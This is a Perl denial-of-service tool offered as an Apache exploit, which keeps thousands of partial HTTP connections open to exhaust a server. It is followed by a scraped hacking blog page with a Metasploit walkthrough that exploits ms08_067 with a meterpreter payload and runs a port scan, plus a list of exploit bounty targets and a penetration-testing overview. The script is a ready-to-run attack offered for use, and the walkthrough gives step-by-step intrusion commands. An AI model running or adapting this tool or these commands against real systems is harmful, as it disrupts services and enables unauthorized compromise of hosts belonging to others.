#!/usr/bin/perl -w
# Exploit Title: Apache Server 2.3.14 <= Denial of Service exploit (DDOS)
# Date: 22/10/2011
# Author: Xen0n
# Software Link: http://www.apache.org/dyn/closer.cgi
# Version: 2.3.14 and older
# Tested on: CentOs
#feel free to contact us xenon.sec@gmail.com
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
print <<EOTEXT;
ooooooo ooooo .oooo.
`8888 d8' d8P'`Y8b
Y888..8P .ooooo. ooo. .oo. 888 888 ooo. .oo.
`8888' d88' `88b `888P"Y88b 888 888 `888P"Y88b
.8PY888. 888ooo888 888 888 888 888 888 888
d8' `888b 888 .o 888 888 `88b d88' 888 888
o888o o88888o `Y8bod8P' o888o o888o `Y8bd8P' o888o o888o
Welcome to Xen0n Apache Attacker
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $xenon, $method, $ssl, $rand, $tcpto );
my $result = GetOptions('shost=s' => \$shost,'dns=s' => \$host,'xenon' => \$xenon,'num=i' => \$connections,'cache' => \$cache,'port=i' => \$port,'https' => \$ssl,'tcpto=i' => \$tcpto,'test' => \$test,'timeout=i' => \$timeout,'version' => \$version,);
if ($version) {
print "Version 1.0\n";
exit;
}
unless ($host) {
print "Test:\n\n\tperl $0 -dns [www.example.com] -test\n";
print "Usage:\n\n\tperl $0 -dns [www.example.com] -port 80 -timeout 100 -num 1000 -tcpto 5 -xenon\n";
print "\n\temail: xenon.sec@ gmail.com\n";
print "\n";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Xen0n will be slower than normal as a result.\n";
}
my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($xenon) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "1", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "Testing $host could take up to $totaltime minutes.\n";
my $delay = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) {
print "Connection successful, now just wait...\n";
}
else {
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}
if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Xen0n closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Xen0n against this target. You can
tweak the -tcpto flag down to 1 second but it still may not build the sockets
in time.
EOSUCKS2BU
}
}
else {
"Attacking $host:$port every $timeout seconds with $connections sockets:\n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print "\t\tBuilding sockets.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
"Current stats:\tXen0n has sent $packetcount packets to $host.\nThe attack will sleep for $timeout seconds...\n\n";
sleep($timeout);
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
__END__
# 1337day.com [2011-10-22]
Showing posts with label Exploits. Show all posts
Showing posts with label Exploits. Show all posts
Sunday, 23 October 2011
Apache Server 2.3.14 Denial of Service Exploit
Friday, 17 June 2011
Adobe Patches Critical Vulnerability In Adobe Reader and Flash Player
Adobe has rolled out security updates for its widely used PDF Reader and Flash animation.Some hackers have been exploiting these to hijack user computers.
The emergency patch for Flash was the second time in nine days that Adobe has rushed out a fix for a serious bug in the program. The vulnerability allows attackers to remotely execute malicious code on machines that run the software, and there are reports it's being actively exploited.
The targeted vulnerability resides in Flash versions for Windows, Macintosh, Linux, Solaris and the Android mobile operating system. Tuesday's fix is available for all platforms except for Android.A separate update for Reader fixes at least 13 bugs. Adobe rated 11 of them "critical," a designation typically reserved for vulnerabilities that can be exploited with little or no interaction required by the user to install malware. The flaws involved memory corruption, buffer and heap overflows, DLL load hijacking and other bugs.
Flash and Reader are among the most commonly targeted apps by criminals pushing malware. Users are better off using an alternative PDF reader such as Foxit. While the application has its share of security vulnerabilities, its smaller market share means it's mostly ignored by attackers.
Read More In the Adobe - click here and here
Via - The register
Tuesday, 14 June 2011
Metasploit Exploit Bounty - $5,000.00 in 5 weeks
The Metasploit team is excited to announce a new incentive for community exploit contributions: Cash! Running until July 20th, their Exploit Bounty program will pay out $5,000 in cash awards (in the form of American Express gift cards) to any community member that submits an accepted exploit module for an item from their Top 5 or Top 25 exploit lists. This is their way of saying thanks to the open source exploit development community and encouraging folks who may not have written Metasploit modules before to give it a try.
All accepted submissions will be available under the standard Metasploit Framework license (3-clause BSD). Exploit selection is first-come, first-serve; please see the official rules for more information.
Contributors will have a chance to claim a vulnerability from the Top 25 ($100) and Top 5 ($500) lists. Once a vulnerability has been claimed the contributor will be given one week to work on a module. After a week the vulnerability will be open again to the community. Prizes will only be paid out to the first module contributor for a given vulnerability. The process of claiming a vulnerability is an attempt at limiting situations where multiple contributors submit modules for the same vulnerability. To stake a claim, send an email to bounty@metasploit.com with the name of the vulnerability from the list below. All claims will be acknowledged, so please wait until receiving the acknowledgement before starting on the exploit. Each contributor can only have one outstanding claim at a time.
If you need help with the Metasploit module format, feel free to drop by the IRC channel (#metasploit on irc.freenode.net), and take a look at the some of the community documents:
Rules and claim status of the 2011 Metasploit Exploit Bounty program.
2. Email bounty@metasploit.com and wait for an ackknowledgement of your claim.
3. Within one week, submit an exploit module to the Metasploit Redmine tracker as a new ticket with attachment.
4. Receive feedback on the module via Redmine and acceptance status.
Payment
The program ends July 20th, this is the submission deadline for modules to be considered for the contest. Payment will be in the form of American Express gift cards sent within 60 days from the end of the program.
Via -
Contributors will have a chance to claim a vulnerability from the Top 25 ($100) and Top 5 ($500) lists. Once a vulnerability has been claimed the contributor will be given one week to work on a module. After a week the vulnerability will be open again to the community. Prizes will only be paid out to the first module contributor for a given vulnerability. The process of claiming a vulnerability is an attempt at limiting situations where multiple contributors submit modules for the same vulnerability. To stake a claim, send an email to bounty@metasploit.com with the name of the vulnerability from the list below. All claims will be acknowledged, so please wait until receiving the acknowledgement before starting on the exploit. Each contributor can only have one outstanding claim at a time.
Rules and claim status of the 2011 Metasploit Exploit Bounty program.
Submission
1. Choose an exploit from the list below that has an empty Owner field.2. Email bounty@metasploit.com and wait for an ackknowledgement of your claim.
3. Within one week, submit an exploit module to the Metasploit Redmine tracker as a new ticket with attachment.
4. Receive feedback on the module via Redmine and acceptance status.
Rules
- All submissions must come from the Top 25 or Top 5 lists below
- All exploits should be submitted to Metasploit Redmine. 1 ticket per exploit.
- Modules MUST conform to the HACKING style guidelines
- Should work reliably on all targets listed in the module.
- Should bypass ASLR/DEP when applicable (ROP)
- English-based targets should be included
- Denial-of-service modules do not count
- Contributors may not be residents of a US embargoed country
Payment
The program ends July 20th, this is the submission deadline for modules to be considered for the contest. Payment will be in the form of American Express gift cards sent within 60 days from the end of the program.
TOP 5 List ($500 bounty)
CVE | Description | Owner |
2011-1807 | Google Chrome before 11.0.696.71 does not properly handle blobs execution of arbitrary code. | |
2011-1218 | Lotus Notes - Autonomy Keyview(.zip attachment) | Alino |
2011-1206 | IBM Tivoli Directory Server | |
2011-0657 | Vulnerability in DNS Resolution Could Allow Remote Code Execution | |
2011-0041 | Vulnerability in GDI+ Could Allow Remote Code Execution |
TOP 25 List ($100 bounty)
CVE/ZDI | Description | Owner |
2011-0663 | Vulnerability in JScript and VBScript Scripting Engines Could Allow Remote Code Execution | |
2010-3757 | IBM Tivoli Storage Manager (TSM) FastBack Server _Eventlog Function Format String Arbitrary Code Execution | |
2011-0065 | Mozilla Firefox OBJECT mChannel Remote Code Execution Vulnerability | |
2010-3708 | JBoss Enterprise Multiple Products JBoss Drools Deserialization Static Initializer Remote Code Execution | |
2011-0682 | Opera Large Form Input Handling Crafted HTML Document Memory Corruption | |
2010-3972 | Vulnerability in Internet Information Services (IIS) FTP Service Could Allow Remote Code Execution | |
2011-0975 | IBM Informix Dynamic Server SET ENVIRONMENT Remote Code Execution Vulnerability | |
2011-0917 | IBM Lotus Domino nLDAP.exe LDAP Bind Request Remote Code Execution (poc) | |
2010-0111 | Symantec Alert Management System Intel Alert Handler Service (HDNLRSVC.EXE) Remote Code Execution | |
ZDI-10-128 | ZDI-10-128 Ipswitch Imail Server Queuemgr Format String Remote Code Execution Vulnerability | |
2010-3582 | Oracle VM ovs-agent XML-RPC Multiple Function Remote Command Execution | |
2011-0116 | Apple Safari WebKit htmlelement Library setOuterText Method Handling Memory Corruption | |
2011-1248 | Microsoft Windows WINS Service Failed Response Data Reuse Memory Corruption Remote Code Execution | |
2011-0918 | IBM Lotus Domino NRouter Service Calendar Request Attachment Name Parsing Remote Code Execution | |
2011-0807 | Oracle Application Server Authentication Bypass Remote Code Execution Vulnerability | |
2011-0073 | Mozilla Firefox nsTreeRange Dangling Pointer Vulnerability (POC) | |
2011-0647 | EMC Replication Manager Client irccd.exe Remote Code Execution Vulnerability | |
2011-0034 | OpenType Compact Font Format driver in Microsoft Windows allows remote attackers to execute arbitrary code | |
2011-1290 | Integer overflow in WebKit allows remote attackers to execute arbitrary code | |
None | Siemens Tecnomatic FactoryLink logging function stack based buffer-overflow caused by the usage of vsprintf | |
None | Iconics GENESIS32 and GENESIS64 Integer overflow during allocation of the memory used to create an array | |
None | DATAC RealWin On_FC_CONNECT_FCS_LOGIN packet containing a long username. | B|H |
TBA | ( This entry is being updated ) | |
ZDI-11-023 | Citrix Provisioning Services streamprocess.exe Remote Code Execution Vulnerability | |
2011-1804 | Google Chrome Floats Rendering Stale Pointer Remote Code Execution |
Via -
https://community.rapid7.com/
metasploit-exploit-bounty-30-exploits-500000-in-5-weeks
Greetz and Thank - Amal bro
Thursday, 9 June 2011
Metasploit Basics Part 2 - Using The Inbuilt Codes
Welcome to the Metasploit Basics Part 2 . Make sure you read the first part here before reading this
In this part we will talk about using the Exploits , Payloads , Auxiliary , Nops and Encoders
I think i don't need to explain what are these because it is already discussed in the first part
Metasploit have
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
This may vary in your metasploit according to your version.
The Basic use of metasploit
1. Pick which exploit to use
2. Configure the exploit with remote IP address and remote port number
3. Pick a payload
4. Configure the payload with local IP address and local port number
5. Execute the exploit
Now time for a example
Type
I will use
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
Now time to see the exploit commands we type "help"
msf exploit(ms08_067_netapi) > help
Many commands arrives but i needed to check the exploits commands :( Yeh got it it is in the last :)
Exploit Commands
================
Command Description
------- -----------
check Check to see if a target is vulnerable
exploit Launch an exploit attempt
rcheck Reloads the module and checks if the target is vulnerable
reload Just reloads the module
rexploit Reloads the module and launches an exploit attempt
================
Command Description
------- -----------
check Check to see if a target is vulnerable
exploit Launch an exploit attempt
rcheck Reloads the module and checks if the target is vulnerable
reload Just reloads the module
rexploit Reloads the module and launches an exploit attempt
Now it is time to see some information about the exploit
type "info" to see this all magic happen
you will see many information about the exploit like name,version,available targets etc
in the above we were just seeking at the information about the exploit but the original stunt now comes
We will set the payload that will work after the exploitation is successful
To see the available payloads type "show payloads"
Now we will select a payload i prefer windows/meterpreter/bind_tcp
msf > exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
type " show options " to see all available options that we have to fill up.
We need to set the RHOST ( The Victim ). We type set RHOST xxx.xxx.xxx.xxx ( X - The Ip Adreess)
Now when you type show options you will see the RHOST will be filled with the ip address :)
The options varies from exploit to exploit sometimes it may even ask LHOST which you have to fill by your local ip or your computer ip that is also same you have to type set LHOST xxx.xxx.xxx.xxx
The 'set' command allows you to configure Framework options and parameters for the current module you are working with.
after all the options are filled up time to check the host before trying exploit it ..
We have a system, we have an exploit. Are we going to be able to compromise the system? Now is the time to find out. To perform the check type "check ". This may not work on all exploits. This will see if the server or target appears vulnerable. For some exploits you might have to provide information about what type of system to compromise. With the attack listed above this is not necessary
Now if you are sure all things went right type the command " exploit "
If successful you will see something like ( Appropriate )
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (xxx.xxx.xxx.xxx:51333 -> xxx.xxx.xxx.xxx:4444)
[*] Exploit completed,
msf exploit(ms08_067_netapi) > sessions -i 1The basic Steps used
[*] Starting interaction with 1...
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST [TARGET IP]
msf exploit(ms08_067_netapi) > exploit
Now you own the PC it is yours you can do any thing with it i will not explain those here because another article wants it
The article is becoming longer . I have to make you understand auxiliary , nops and encoders in brief
The Auxiliary modules perform scanning, fuzzing, sniffing, information gathering and much more . This module does not give you a shell but they are equally important as the exploit and payloads.
I will take offensive security's help i cant write so much my hand is paining
Auxiliary Example
Port Scanning
In addition to running Nmap, there are a variety of other port scanners that are available to us within the framework.msf > search portscan
[*] Searching loaded modules for pattern 'portscan'...
Auxiliary
=========
Name Description
---- -----------
scanner/portscan/ack TCP ACK Firewall Scanner
scanner/portscan/ftpbounce FTP Bounce Port Scanner
scanner/portscan/syn TCP SYN Port Scanner
scanner/portscan/tcp TCP Port Scanner
scanner/portscan/xmas TCP "XMas" Port Scanner
The Result
msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(syn) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(syn) > set PORTS 80
PORTS => 80
msf auxiliary(syn) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(syn) > set THREADS 50
THREADS => 50
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.1.1:80
[*] TCP OPEN 192.168.1.2:80
[*] TCP OPEN 192.168.1.10:80
[*] TCP OPEN 192.168.1.109:80
[*] TCP OPEN 192.168.1.116:80
[*] TCP OPEN 192.168.1.150:80
[*] Auxiliary module execution completed
Read More
Here is also a youtube video with another example
NOPS
The simplified NOP mixin provided in
Msf::Simple::Nop
extends each nop module instance with a method called generate_simple
. This method takes the length of the sled to generate and the hash of options that should be used for the generation. On success, the return value is a buffer that is encoded using the Msf::Simple::Buffer
class using the format specified in the option hash as the ’Format’ element. If no format is specified, the raw version of the NOP sled is returned.Encoders
Encoder modules are used to generate transformed versions of raw payloads in a way that allows them to be restored to their original form at execution time and then subsequently executed. To accomplish this, most encoders will take the raw form of the payload and run it through some kind of encoding algorithm, like bitwise XOR. After the encoded version is generated, a decoding stub is prefixed to the encoded version of the payload. This stub is responsible for performing the inverse operation on the buffer attached to the decoder when it executes. After the decoder restores the payload to its original form, it will transfer execution to the start of the now normalized payload.
To support the above described encoder model, the Metasploit framework provides the
Msf::Encoder
class which inherits from the Msf::Module
base class. All encoders must inherit from the Msf::Encoder
class at some level to ensure that encoder-specific methods are included in the derived class.Like the module information hash, encoders have some specialized information hash elements that describe information about the encoder being used. The information that encoder modules need to describe are the attributes of the decoder which is conveyed through the
Decoder
information hash element. The Decoder
hash element references another hash that contains decoder specific properties. These are described in the table shown in figure 6.3 along with their types and module instance accessors.Explaining NOPS and Encoders will make newbies confuse. So i will explain these latter
This is just the basic usages and was totally written for beginners more advance information about metasploit is waiting to be posted. | |||||||
Replies , Questions and Suggestion regarding this topic is welcomed | |||||||
References
Off Sec
metasploit
Local Host :P
Part 1 | Part 2
Monday, 30 May 2011
Introduction to Penetration Testing
This article is just to give you the Basic knowledge and making you understand the Fundamentals of Penetration Testing
Goal of this Article
Vulnerability Assessment (VA) VA Scope Includes: • The VA test can be done both internally and externally • No vulnerabilities are exploited • No dangerous attacks like DOS and Buffer Overflow attacks are used • Automated vulnerability scanning tools line Nessus, Retina or ISS are used
Penetration Testing (PT)
PT Scope Includes: • The PT test is done both internally and externally • Vulnerabilities are exploited • Dangerous attacks like DOS and Buffer Overflow attacks are used depending upon the customer’s willingness to do so • Automated vulnerability scanning tools and as well as exploits are used
Goal of this Article
q
- An overview of how Vulnerability Assessment (VA) & Penetration Testing (PT) is done
- qDefining scope of the assessment
- qTypes of Penetration Testing
- qA brief understanding on how Buffer Overflow works
- qHow vulnerabilities are scanned and exploited
- qWhat are the end results
- qWhat a Penetration Testing Report should contain
Vulnerability Assessment (VA)
In this case the security auditor has to only scan for the vulnerabilities in the server or application and filter out the false positives from the scan output by mapping them with the actual vulnerabilities associated with the target host.
Penetration Testing (PT)
In this case the security auditor or the penetration tester not only has to scan for the vulnerabilities in the server or application but also has to exploit them to gain access to the remote server.
Types Of Penetration Testing
Black Box Penetration Testing
- Pen tester has no previous knowledge of the remote network
- • Simulating a real world hacking by a hacker who has no knowledge
(E.g. Operating System running, application running, device type and
network topology etc..) of the remote network environment
White Box Penetration Testing
- • Have the knowledge of the remote network
- •Type of Pen tester network devices (i.e. Cisco gear, TCP/IP),
- •WebServer details (i.e., Apache/*nix or Apache/Win2k),
- •Operating System type (i.e., Windows/*nix),
- •Database platform (i.e., Oracle or MS SQL),
- •Load balancers (i.e. Alteon),
- Firewalls (i.e. Cisco PIX).. etc
- •Simulating a attack by a hacker who is having a detailed knowledge of the remote network environment
Scope Of Penetration Testing
Non-Destructive Test
- •Scans the remote hosts for possible vulnerabilities
- •Analyze and confirm the findings
- •Map the vulnerabilities with proper exploits
- •Exploit the remote system with proper care to avoid disruption of service
- •No highly critical Denial of Service (DoS) attack is tried
Destructive Test
- •Scans the remote hosts for possible vulnerabilities
- • Analyze and confirm the findings
- • Map the vulnerabilities with proper exploits
- •All highly critical Denial of Service (DoS) attacks (e,g like buffer overflows are tried
~~~ Moving On To Penetration Testing ~~~
Penetration testing includes some steps ...
- qFingerprinting or Footprinting
- qNetwork Information Gathering
- qSurveying / Network Mapping
- qPorts Scanning and Services Identification
- qEvading Firewall Rules
- qAutomated Vulnerability Scanning
- qExploiting Services for Known Vulnerabilities
- qExploiting Web-Based Authorization
- qPassword Cracking / Brute Forcing
- qDenial of Services (DoS) Testing
- qEscalation of Privileges
1. Information Gathering
This is the first step for any remote host Penetration Testing. Here the pen-tester try to gather maximum information on the remote host to precise the attack.
3. Network Surveying / Network Mapping 4. Port Scanning & Services Identification
8. Password Cracking or Brute Forcing
Expected Results:
- qZone Transfer Information
- q Domain Registration Information
- q Email IDs
- q IP Addresses Range
Sample Screenshot (Server queried for Zone-Transfer Info):
(Information Gathered from Zone-Transfer Info)
2. Footprinting / Fingerprinting
In this step, information like WebServer and OS type running on remote host are gathered to further precise the attack.
Expected Results:
- qRemote server OS type
- q Remote server web-server type
- q Applications running on remote server
Sample Screenshot (Banner displaying OS, application & WebServer details):
3. Network Surveying / Network Mapping
A network survey serves often as an introduction to the systems to be tested. It is best defined as a combination of data collection, information gathering, and policy control.
Expected Results:
- qFirewall / Routers / IDS Discovery
- qPossible Local Network / Subnet Discovery
- qIP Addresses Range
- qNetwork Topology Mapping
- qISP information
Sample Screenshot (Local address of the remote network discovered):
Port scanning is the invasive probing of system ports on the transport and network level. This module is to enumerate live or accessible Internet services as well as penetrating the firewall to find additional live systems.
Expected Results:
- qOpen, closed or filtered ports
- qServices Identification
Sample Screenshot (NMAP port scan output):
5. Evading Firewall Rules
In this phase, firewall evasion techniques are used to bypass firewall rules. This can further help in port scanning, remote host detection and remote network discovery.
It is clear from the two screenshots that the packet filtering device (i.e. Firewall / Router) is not configured to block UDP packets.
6. Automated Vulnerability Scanning
The focus of this module is identifying, understanding, and verifying the weaknesses, misconfigurations and vulnerabilities associated with remote host. The scanning is done using automated tools or scripts to make the process faster.
What is MVS ?
MVS is an automated Internet Vulnerability Scanner which can scans for web based vulnerabilities (Ex: CGI/IIS Unicode) associated with a remote host running a web server. The scanner displayed, shows that the target host is vulnerable to IIS Unicode. The vulnerable string has been highlighted in the below screen shot
7. Exploiting Services For Known Vulnerabilities
MVS is an automated Internet Vulnerability Scanner which can scans for web based vulnerabilities (Ex: CGI/IIS Unicode) associated with a remote host running a web server. The scanner displayed, shows that the target host is vulnerable to IIS Unicode. The vulnerable string has been highlighted in the below screen shot
7. Exploiting Services For Known Vulnerabilities
This is the most important phase of penetration testing. Here the weaknesses found in the remote services are exploited using openly available exploits or self developed or customized exploits.
Expected Results:
- q Gaining Access to the system
- q Retrieving hidden information
- q Domain Hijacking
- q Spamming Mail Servers
Sample Screenshot (FrontPage fp30reg.dll Overflow Exploit):
Here the web application flaws are exploited to gain access to restricted information. The Web-Based authentication is exploited by using XSS (Cross-Site Scripting) or SQL injection or MITM (Man-in-the-middle) attacks etc...
Expected Results:
Sample Screenshot (SQL injection used for gaining access to admin page): |
Password cracking is the process of validating password strength through the use of automated password recovery tools that expose either the application of weak passwords due to human factors.
Password Lists and Words List are use for validating the password in this process
Denial of Service (DoS) is a situation where the applications or services running over the remote system stops functioning and prevents authenticated network users or devices to access it.
Expected Results:
Sample Screenshot (DOS attack for CISCO): 10. Escalation of Privileges Escalation of Privileges is the type of rights the attacker gains over the remote system. It is the final stage of the remote host hacking where the attacker gains complete control over the remote system. |
Expected Results:
============================================================= It took me around two days to reproduce the entire paper from the ppt into a webpage. This paper was written by Debasis Mohanty but was not published in webpage form till now so i tried my best to convert it into a webpage. Download the original PPT by him and learn the basics of Buffer Overflow written for beginners only - |
Subscribe to:
Posts (Atom)